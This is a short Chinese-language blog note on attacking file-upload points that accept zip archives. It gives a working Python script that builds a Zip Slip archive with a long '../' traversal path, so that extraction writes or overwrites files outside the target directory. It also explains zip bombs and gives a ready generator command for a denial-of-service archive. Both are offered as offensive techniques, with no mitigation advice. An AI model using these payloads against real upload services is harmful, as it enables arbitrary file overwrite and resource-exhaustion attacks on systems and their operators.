关于zip上传点的攻击思路.md

  1. 关于zip上传点的攻击思路
  2. 1.目录走访漏洞(Zip Slip)
  3. 2.zip炸弹(不建议使用)
    1. 常识
    2. 制作

关于zip上传点的攻击思路

1.目录走访漏洞(Zip Slip)

记一次Zip Slip漏洞 - 知乎 (zhihu.com)

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'sec_test.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')

Zip Slip是一个广泛存在的漏洞,除了Java语言,JavaScript,Ruby,.NET和Go都有此问题。

就是上传点zip自解压的时候,把我们zip的文件写入的恶意目录给执行了,导致了任意目录文件上传并且覆盖。

2.zip炸弹(不建议使用)

zip炸弹 - lnlvinso - 博客园 (cnblogs.com)

(51条消息) 压缩炸弹(zipbomb)制作(附演示)_fenwangduanyan的博客-CSDN博客

常识

42.zip 是很有名的zip炸弹。一个42KB的文件,解压完其实是个4.5PB的“炸弹”。

​ 更有甚者,一个叫做 droste.zip 的大小为 28 KB 的文件,一旦被打开了以后,就会无限解压缩生成一份同样的文件,直到永远。

​ zip炸弹文件中有大量刻意重复的数据,这种重复数据在压缩的时候是可以被丢弃的,这也就是压缩后的文件其实并不大的原因。

​ 可以看一下 https://blog.csdn.net/j2IaYU7Y/article/details/82321082

制作

https://github.com/CreeperKong/zipbomb-generator

python3 zipbomb.py --mode=quoted_overlap --num-files=250 --compressed-size=21179 > zbsm.zip

–num-files :压缩包包含的文件数量

–compressed-size:文件压缩大小


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。